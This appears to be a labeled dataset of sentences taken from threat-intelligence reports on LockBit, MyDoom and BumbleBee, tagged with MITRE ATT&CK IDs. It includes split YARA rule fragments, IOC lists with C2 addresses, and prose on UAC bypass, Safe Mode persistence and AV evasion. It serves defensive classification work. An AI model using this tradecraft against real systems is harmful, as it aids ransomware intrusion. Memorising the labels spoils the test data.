{"sentence": "%s shark+ \" fullword wide $s10 = \" Approximate- Choked- %s %s, \" fullword wide $s11 = \"niece beacon dwelling-", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Headlong Intellectual+\" fullword ascii $s12 = \">Certainty holes) cherries Proceeding Active+ surname Rex/ gets\" fullword wide $s13 = \"+Enthusiastic@ Couple?", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%s, shy %", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "d %d) plume \" fullword wide $s14 = \" again workroom front leader height mantle mother sudden illness discontent who finest southern nature supplement normally hopef\" ascii $s15 = \"Advantage %s+ Creation.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "officially/", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Affirmative %s?", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%s \" fullword ascii $s16 = \"Mind@ falcon+ illumination repair/", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "fullword ascii $s17 = \"%Truthful- %d/ 161!", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Checking 786/ Mob \" fullword wide $s18 = \"#%s. %s Door observed- lazy?", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Quiet@ \" fullword wide $s19 = \"wrong comer?", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%s) Designer$ 372\" fullword wide $s20 = \"Fleet( %d, lads.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%d!", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%d %s 445\" fullword wide condition: uint16(0) == 0x5a4d and filesize < 200KB and 8 of the MITRE Phishing – T1566Malicious File – T1204.002Windows Command Shell – T1059.003PowerShell – T1059.001Process Injection –", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "T1055File Deletion – T1070.004LSASS Memory – T1003.001Kerberoasting – T1558.003Domain Account – T1087.002Domain Trust Discovery – T1482Lateral Tool Transfer –", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "T1570Remote Desktop Protocol – T1021.001Valid Accounts – T1078Remote Access Software – T1219Ingress Tool Transfer – T1105Web Protocols – T1071.001System Services – T1569SMB/Windows Admin Shares – T1021.002Software Discovery – T1518System Network Configuration Discovery – T1016Remote System Discovery – T1018Process Discovery – T1057Mark-of-the-Web Bypass – T1553.005Masquerading – T1036Rundll32 – T1218.011Domain Groups – T1069.002Windows Management Instrumentation – T1047Password Guessing – T1110.001 Internal case #13387", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Can You See It Now?", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "An Emerging LockBit Campaign url: https://www.fortinet.com/blog/threat-research/emerging-lockbit-campaign FortiGuard Labs has observed a new LockBit ransomware campaign during last December and January using a combination of techniques effective against AV and EDR solutions.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "LockBit has been one of the more dangerous ransomware, active since 2019.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "It was part of several successful attacks against a large variety of industries, including critical infrastructure.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "This blog post discusses the infection chain and Tactics, Techniques, and Procedures (TTPs) of this campaign.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Overview Descriptions of the attack refer to the stages outlined in Figure 1 below.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The attack starts with a .img container (1) and a social engineering technique of displaying a single file once it’s mounted while hiding the rest of its files from the user.", "labels": ["T1564.001"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "It can also cause malware analysts to miss the payloads while examining the samples manually.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Figure 1: Campaign execution stages", "labels": ["T1204.002"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The user is then prompted to open the single visible shortcut (2) file.", "labels": ["T1204.002"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "FIgure 2: Contents of the .img file, including the hidden files", "labels": ["T1564.001"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "In some of the cases that we’ve observed, a python script is executed (2.1) using the official Python embed package.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The only purpose of the script is to run the subsequent BAT scripts.", "labels": ["T1059.003"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Some variants used a known UAC bypass method abusing the legitimate fodhelper.exe (3.1).", "labels": ["T1548.002"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "This enables the attacker’s BAT file to run in a new elevated process without the user’s approval.", "labels": ["T1059.003"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Figure 3: UAC bypass implementation.", "labels": ["T1059.003", "T1548.002"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The BAT script (4) does several things: 1. Changes the password of the logged-in user.", "labels": ["T1059.003"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "2. Copies its files to C:\\ProgramData.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "3. Ensures that after the system reboots, it logs in without user interaction (using SysInternals Autologon).", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "4. Tries to - a. Set the next reboot to be in Safe Mode using bcdedit.exe.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "b. Register a new service that will run its VBS script (4.1) using sc.exe.", "labels": ["T1543.003", "T1569.002"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "c. Sets the service to run also in Safe-Mode using reg.exe.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "If it fails, it sets in the registry a BAT file (4.2) to be run on logon as another UI shell by Winlogon.", "labels": ["T1059.003", "T1112"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "6. Reboots the machine.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Figure 4: Persistence of the BAT file (4.2).", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The ransomware executable resides within a password-protected archive.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The script that runs after boot executes another BAT script (4.3) to extract the ransomware payload.", "labels": ["T1059.003"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "It uses the 7-zip archiver and then runs it with a ‘-pass’ argument that is needed for the malicious executable to unpack itself.", "labels": ["T1027"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Figure 5: Command inside BAT script (4.3) decrypting and running the ransomware The final payload is LockBit.", "labels": ["T1140"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Analysts from TrendMicro have published an analysis of the ransomware.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Targeting focuses on Spanish-speaking victims – all samples target Mexican or Spanish firms, mainly in the consulting and law sectors.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Ransomware note: Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom You can contact us and decrypt one file for free on this TOR site (you should download and install TOR browser first https://torproject.org) http://<onion address> Your company id for log in: <unique id> Evasive Tradecraft The detection rate of the samples in VirusTotal was a minimal single digit, with some completely undetected, suggesting the campaign’s methods are effective in defense evasion.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Figure 6: Detection in VirusTotal of one of the .img files.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Delivery through a .img container bypasses the Mark of The Web (MOTW) protection mechanism.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Multi-stage scripts that extract a password-protected ransomware executable, which is unpacked only when run with a unique password, allow evading traditional signature-based detection.", "labels": ["T1027"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The malware authors have shown a creative and wide-ranging usage of signed, legitimate executables: the mounting of .img files by Windows Explorer, python execution by a signed interpreter, the extraction of encrypted archives by 7-zip, and automatic log-in using Sysinternals’ Autologon.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "This allows for minimal reliance on custom code, trimming development costs, and staying under the radar of EDRs.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Summary This campaign’s highly evasive nature demonstrates that attackers continue to leverage increasingly obscure methodologies to avoid detection.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "This unique combination of executables wasn’t seen in previous LockBit attacks.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "These payloads may be related to the LockBit builder leak in late 2022.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Hence, a definitive attribution to the original group behind LockBit, or its affiliates, may be difficult.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Other cybercriminals would want to associate themselves with the deterrence already afforded by past acts of LockBit.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Fortinet Solutions FortiEDR detects and blocks these threats out of the box without any prior knowledge or special configuration.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "It does this using its post-execution prevention engine to identify malicious activities: Figure 7: FortiEDR blocking the ransomware.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "All network IOCs have been added to the FortiGuard WebFilter blocklist.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "FortiGuard Antivirus has coverage in place as follows: W32/Lockbit.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "K!tr.ransom The FortiGuard Antivirus service engine is included in Fortinet’s FortiGate, FortiMail, FortiClient, and FortiEDR solutions.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in real-time with other Alliance members to help create better protections for customers.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard AI-powered security services portfolio.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Appendix A: MITRE ATT&CK Tactics and Techniques Tactic \\ Technique ID Description TA0002 Execution T1059.003 Command and Scripting Interpreter:", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Windows Command Shell T1059.005 Command and Scripting Interpreter:", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Visual Basic T1059.006 Command and Scripting Interpreter: Python T1204.002 User Execution: Malicious File TA0003 Persistence T1547.004 Boot or Logon Autostart Execution: Winlogon Helper DLL T1053.005 Scheduled Task/Job: Scheduled Task T1543.003 Create or Modify System Process: Windows Service TA0005 Defense Evasion T1553.005 Subvert Trust Controls: Mark-of-the-Web Bypass T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control T1027.002 Obfuscated Files or Information: Software Packing T1562.009 Impair Defenses: Safe Mode Boot TA0040 Impact T1486 Data Encrypted for Impact T1529 System Shutdown/Reboot APPENDIX B: IoCs IMG SHA256 1ef3ae251833be08b6f3e525969ae02c28cb0238e3adb3091e572a10633f7ef7 dad61d9f919a9cc84ae633e948946e7546b21dc4d9d47d19d96fd308c7de40cb d73bcd2e29191b260a26d87c3035bde33163cc319649291db9f04c48c94da896 ee2b182a56ded459a113513985ff624631a9515c7efa2282708483ace640eb3a dca325a0028dc8e41dcf739cd00701a19066fc88c0d22be5316f7a4b7b219fe8 35bf036bf46fa21f3354d60a2c50d2959e1e9193bec8364575dc3fd4644732ae 781ead305cdb5fa0153369431dedd40fe138308fcdf5dfda1cfeaaba296752e3 1ef3ae251833be08b6f3e525969ae02c28cb0238e3adb3091e572a10633f7ef7 dad61d9f919a9cc84ae633e948946e7546b21dc4d9d47d19d96fd308c7de40cb d73bcd2e29191b260a26d87c3035bde33163cc319649291db9f04c48c94da896 ee2b182a56ded459a113513985ff624631a9515c7efa2282708483ace640eb3a dca325a0028dc8e41dcf739cd00701a19066fc88c0d22be5316f7a4b7b219fe8 35bf036bf46fa21f3354d60a2c50d2959e1e9193bec8364575dc3fd4644732ae 781ead305cdb5fa0153369431dedd40fe138308fcdf5dfda1cfeaaba296752e3 1858a862390adcaa4cea6782e7dba077697475ff9ada9d75c4897ccd563998af Ransomware Executables SHA256 Name cb049c6e59106bbdfd804a9d02bb31ea09a3918018cbb97fb12d2bcf9e475465 documentos.exe 334148a7434f4fd27dcc6600edc2f29e4f11ada0be9f71f807cbd4154abd74be documentos.exe fd3577ff36496320485ffa05681ffa516a56fc4818c3fc89774aa4bb20e2c17f documentos.exe 8465c979990e75262d15e93453287d6107f008035d6d6a05bd3a92c2e3fe1d40 HacAK.exe 40828437094a02ab467a0c0343d08c110d3b0c2972b609bcdd355667614209f EMJgp.exe 50f49ac742a127085e0a824bcae7e25326ea0ef0741f0abe34ce494f2c4ef4d2 byhHI.exe cc58dcd32a440e7f95d19b653a55c1e2c383efc2bd19443238dd3008c1cbe147 bOpDX.exe 6eb6431dcfb1e7105fb05e2d8b01e231f6d4b82a1df3639499d0adacd00757cc gVozH.exe Domains poliovocalist[.]com IPs 198.244.187[.]248 150.129.218[.]231 LockBit Portal URLs hxxp://lockbit3jx6je7tm6hhm6zzafgy6hpil3ur6jmc2a4ugan7xzztv6oqd[.]onion hxxp://lockbitdvbpfczc3yrs37kpp6avnrgr7yygi2f45qxvef2yqi36lpxyd[.]onion hxxp://lockbit3hc6syym13ki2ag5jskr6q5qa3spspjpmtfhh6fufut737zid[.]onion hxxp://lockbitov3afmxgknfhk2o5d4uqrhygd7ty3xqm56qd6zjlu6u43pgyd[.]onion", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Just Because It’s Old Doesn’t Mean You Throw It Away (Including Malware!)", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "url: https://www.fortinet.com/blog/threat-research/just-because-its-old-doesnt-mean-you-throw-it-away-including-malware Art, automobiles, and wine are often associated with things that appreciate in value as they age.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Malware isn’t usually thought of this way, as most threat actors strive to keep their tools as current as possible with new lures and exploitation techniques.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "However, every once in a while, a campaign appears that turns this paradigm on its head.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "FortiGuard Labs came across one such recent campaign using the MyDoom worm.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "MyDoom (also known as Novarg and Mimail) was first discovered back in 2004.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "And while it has seen some updates and modifications since its introduction, it is an anachronism in the malware world that continues to operate well beyond expectations.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Affected Platforms: WindowsImpacted Users: Windows usersImpact: Potential to deploy additional malware for additional purposesSeverity Level: Medium Typical phishing e-mail The typical MyDoom phishing e-mail contains subjects referencing a delivery error or testing.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Email headers contain a rejection reason and a custom “Content-Type”.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "There is also an attachment that may or may not be zipped.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "This attachment (unless zipped) is the MyDoom executable.", "labels": ["T1566.001"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "FortiGuard Labs encountered the following message subjects in our recent investigation: Click me baby, one more time RETURNED MAIL: SEE TRANSCRIPT FOR DETAILS Isnydosj anhr ayownizdiitis Delivery failed Test Delivery reports about your e-mail Status Returned mail: Data format error RETURNED MAIL:", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "DATA FORMAT ERROR Returned mail: see transcript for details Mail System Error - Returned Mail The following attachment names were also found to be used repeatedly: document.zip transcript.zip letter.zip attachment.zip .zip message.zip message.scr golfasian.com readme.scr mail.zip text.cmd <random number>@7686f6a96.com file.zip attachment.scr Typical attachment The MyDoom executables attached to its phishing e-mails have an extension hidden by default by most Windows deployments (.cmd, .scr, .com, etc.).", "labels": ["T1566.001"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "This increases the chances that users won’t identify it as malicious.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Despite the extension, the file is a 32-bit Windows executable packed using the UPX (Ultimate Packer for Executables) packer (https://en.wikipedia.org/wiki/UPX) to compress and make it more difficult to analyze.", "labels": ["T1027"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "With that being said, UPX has been around for quite some time.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "When used without modification, it is quite easy to decompress the original executable using the tool itself.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "MyDoom Unpacked The packer decompresses and executes the actual MyDoom code.", "labels": ["T1027"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Upon execution, an attempt to alter the Windows firewall settings is made.", "labels": ["T1562.001"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "A user logged on to the system would see a request to grant access for the executable to communicate out through the Firewall.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "MyDoom next makes a copy of itself, places it in the “Temp” folder (C:\\Users\\<user>\\AppData\\Local\\Temp), and changes the name to a known Windows application/process.", "labels": ["T1036.005"], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "In this case, it used “lsass.exe”.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "It also creates a file full of garbage text that is not referenced again once created.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "MyDoom communicates over port 1042 to both send and receive.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "It rotates through a number of possible C2 domains in an attempt to locate an active one.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "As part of the legacy of spreading through file-sharing utilities, MyDoom also litters the “C:\\Program Files\\Common Files\\Microsoft", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Shared” folder with multiple versions of itself.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "It renames itself as some now very old and obsolete applications (e.g., Kazaa Lite) with a random name or phrase attached.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Application names include: Kazaa Lite Harry Potter ICQ 4 Lite WinRAR.v.3.2 Winamp 5.0 (en) Crack Winamp 5.0 (en) Conclusion Despite its advanced age, there are still fresh infections of MyDoom occurring in the wild, along with corresponding phishing events.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "This goes to show that even older malware can still be dangerous no matter their age Fortinet Protections Fortinet customers are already protected from this malware through FortiGuard’s Web Filtering, AntiVirus, FortiMail, FortiClient, and FortiEDR services: FortiGuard customers are protected against this latest MyDoom campaign, which is blocked by FortiMail.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "The following (AV) signature detects the malware samples mentioned in this blog W32/MyDoom.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "M@mm W32/Mydoom.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "E!tr The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "The WebFiltering client blocks all network-based URIs.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "Fortinet has multiple solutions designed to help train users to understand and detect phishing threats, including the FortiPhish Phishing Simulation Service, which uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "In addition to these protections, we suggest that organizations have their end users undergo our FREE NSE training: NSE 1 – Information Security Awareness.", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "IOCs File-based IOCs: Filename SHA256 9ed08@7686f6a96.com 5a6c1929f55baff2e786336c07f02c5d13194ff765073dcdfcae1b0cb53da5bc 5713a@7686f6a96.com 1b1e2421dc3d96a8b9dd58d9cc74730c966250df7c33a1e0df50d983e674b7bc atpysig.exe 6223e126a65ba888182d3369adacc7268bd78555f0426653f5b5dd963d4c31a4 attachment.doc.scr ad37758c362a38a8718837ece40ed5699e40de11ed58a586c2a6a6d8bb5251bf attachment.scr 9fc0179c7407476ced89b6124fa52f10d178f3a07e3d50c860b1ced98fb77541 attachment.doc.scr ad37758c362a38a8718837ece40ed5699e40de11ed58a586c2a6a6d8bb5251bf ATTACHMENT.SCR 1302161ca791b3fc01188582a075bbfcfeb5f28715ad527be0fe625ec452b1eb attachment.scr 9fc0179c7407476ced89b6124fa52f10d178f3a07e3d50c860b1ced98fb77541 ATTACHMENT.SCR 1302161ca791b3fc01188582a075bbfcfeb5f28715ad527be0fe625ec452b1eb document.doc 31fd079696a071a48fd4a66588adb22e36dd96028792fb416bcee0f099d6e5cb document.doc 5e99396cf134fea102470525d5105afb697b9131d891990e2dc8c9e5e34f8165 file.htm.scr 009ac15d56c3a5149f10c833b5cc191eede4d33485cab7bc3dd94675a462608c golfasian.com 9fcf4b0e00d20060274861b41b2c13b68dfedbd2ac0012436b13960b2a570d4f golfasian.com 34d9e11e71fe18f9eb290461714826e1069a129d44db25c6c4fe581f883cbc07 golfasian.com", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "6155f0562adfaa75cf46f674cf094d3f23c27b38c8009b6982f48ca4e77c95b1 golfasian.com 92018aff6737899f94aed2461b6e4182383b6677be2e8d4f82098265d74fb913 html.pif eba7ec36cb9cc3c3677f5325ee9f755fefe885235849aede61a0b130a9f6255b html.pif d438e3ec7bd0fa4b231a6a1704d89f117d3b6b6ba342915b4d095027d0fe4c90 john2@golfasian.com a966f61a86dae4737f99d5b7668b0fcab3124125d2030faa08855ae12c9525ee letter.exe 48c70041def3bf288f7f85ee96eb59a2f7d965963a66e0c86fb3c88b3e079386 letter.scr 2ddc70753893167b7b5d15c1e3cf6f22b6d8a0ee8a4aaea93c40655608f6fc75 mail.html 20b372391f4d0fd9e4f69fc950456b557fab27f7bbbdeede36cff404e35614aa message.bat 7b596caceaf2e8a139c01eaf67e5e52ff3247ca6d20112ea9ce59a02a1a5bb7d message.scr 2744c29d98a144fabda0ac75264235cd82b798f3bd5a56fab2ad28ec218b94c8 Message.scr eb5bfbb3be5300c1231a8ece93d239b7a02a4f308d7efe85d604f06d3aca57ad readme.scr 8d4dcf463e7a69cd1b3039779d9d36c8a4669444b30d3261f876b7720bdb6752 text.cmd 5cb5efc8e0be0bf32eb73fbdaebedacf70cba946f5dfaea7166dcd0f4ca5989f tracy@golfasian.com c12e27b30706dd1d11e5822285e209a187724148a682d178f1e2bc3f8d670ea7 transcript.htm.pif 2ddc70753893167b7b5d15c1e3cf6f22b6d8a0ee8a4aaea93c40655608f6fc75 transcript.txt 6bbcc015c5a72b03601f8087c57024a7e74975dfb567b867c3404958e4239c9c txt.pif d599d4343fe3d831bcad8ea7305f050608a182f99636ea9e87c9400d19fae043 txt.scr f5dc449255319cebd38ce255060a8019e0f5697de8ac31353c7d067d9e1218e6 document.zip 11a86a2388c501773b52ae79ee1f7504caca6c25d835d40b8afc9ebe29c7a26d .zip 942ef9da07de7d70c2efcfc20e375e6919a521d44ddabf9369042aea1553f712 message.zip 10502c24bb63af929da22ec306f44f9e557b4e3bbf588afd1a7f190aa9840938 letter.zip 21ee754775ca9f76b2d18d0b87722ffa0c9ab0f676e4aa6ac4881dff580087ac .zip 505b177a6c24c69a9fda1e78db7421fad4893d7c07e3cea91897decfbc4510be message.zip ad29b1c0423a878758a444ad6bf38aa2ad276a98f0ca552b475d890db631f48b file.zip 113db96ddc72fb3300e981c7691cd202d3d0a5b097e84cd41eee6a54d868bf31 transcript.zip 3df99ae8f2083419fd030c42ca6729b6e5319df6aca1204d7081ce6ea91c69da transcript.zip 04123ec908c4a60282fa35fed76a377b22a49b6f9bfaf5a81121fd7204b4b83d .zip", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "4864f84ea0f6939751310a2cca43e71a57171f37679cb7853d29a083b1617a09 .zip", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "35bb66f1cc9e820ef50c22d0abb0f5f7ba8724bebb4a5a795e68790943742928 .zip 9bf413a9d9b3b17767f0a93450f834947475765b2fd1ecccaa943f8ce9d58082 document.zip 9a2f837a8adb16632ce4ec3c8b02037a4e96e66e6737ef1169afb2e48e46aa6a letter.zip bfaf49a691792a29024a75119a9841caacefb306494ca011a42b46c12ca65895 .zip 59ad199d81590be7b83768227fe3a79b115f6c978b8715864ae0e22e5d324e36 mail.zip ecda9c446dd6aa0018cd5fc9c99ba846484f8d2a81d7f97167d89b890e4d5c1a attachment.zip e745cc1ae5a89a9f2b4b0eabbac342520703b03f68dafeb6d29194fe19e899e9 attachment.zip 1f442b9ff3c9225e3eaa9c74d16b3a74117bb66e1d372ca15b6154d386a93e57 Network-Based IOCs: IOC IOC type 15.244.197.9:1042 Attempted C2 Connection 141.240.203.6:1042 Attempted C2 Connection 16.115.197.163:1042 Attempted C2 Connection 67.120.102.206:1042 Attempted C2 Connection 220.234.104.158:1042 Attempted C2 Connection 166.77.123.68:1042 Attempted C2 Connection 198.89.160.22:1042 Attempted C2 Connection 15.98.11.12:1042 Attempted C2 Connection 67.121.94.10:1042 Attempted C2 Connection 15.24.69.27:1042 Attempted C2 Connection 129.204.109.121:1042 Attempted C2 Connection 70.241.87.215:1042 Attempted C2 Connection 16.80.195.68:1042 Attempted C2 Connection 15.9.79.129:1042 Attempted C2 Connection 15.14.59.199:1042 Attempted C2 Connection 216.114.194.30:1042 Attempted C2 Connection 15.228.15.126:1042 Attempted C2 Connection 16.100.121.101:1042 Attempted C2 Connection 15.63.9.76:1042 Attempted C2 Connection 65.6.113.38:1042 Attempted C2 Connection 141.240.211.237:1042 Attempted C2 Connection 16.83.199.36:1042 Attempted C2 Connection 66.248.57.65:1042 Attempted C2 Connection 15.59.127.133:1042 Attempted C2 Connection 16.150.138.126:1042 Attempted C2 Connection 141.154.253.115:1042 Attempted C2 Connection 66.43.244.133:1042 Attempted C2 Connection 68.158.45.83:1042 Attempted C2 Connection 152.16.43.135:1042 Attempted C2 Connection 129.81.101.242:1042 Attempted C2 Connection 16.102.137.19:1042 Attempted C2 Connection 16.102.153.27:1042 Attempted C2 Connection 67.171.253.156:1042 Attempted C2 Connection 15.75.188.252:1042 Attempted C2 Connection 216.128.188.41:1042 Attempted C2 Connection 16.126.107.216:1042 Attempted C2 Connection 16.125.202.53:1042 Attempted C2 Connection 162.28.185.188:1042 Attempted C2 Connection 195.75.252.98:1042 Attempted C2 Connection 68.223.45.7:1042 Attempted C2 Connection 24.148.141.102:1042 Attempted C2 Connection 141.240.190.28:1042 Attempted C2 Connection 129.243.132.29:1042 Attempted C2 Connection 148.193.135.228:1042 Attempted C2 Connection 24.190.210.189:1042 Attempted C2 Connection 12.166.196.8:1042 Attempted C2 Connection 15.228.161.161:1042 Attempted C2 Connection 220.234.104.158:1042 Attempted C2 Connection", "labels": [], "doc_title": "Just Because Its Old Doesnt Mean You Throw It Away Including Malware"}
{"sentence": "tl;dr NCC Group and Fox-IT have been tracking a threat group with a wide set of interests, from intellectual property (IP) from victims in the semiconductors industry through to data from the airline industry.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
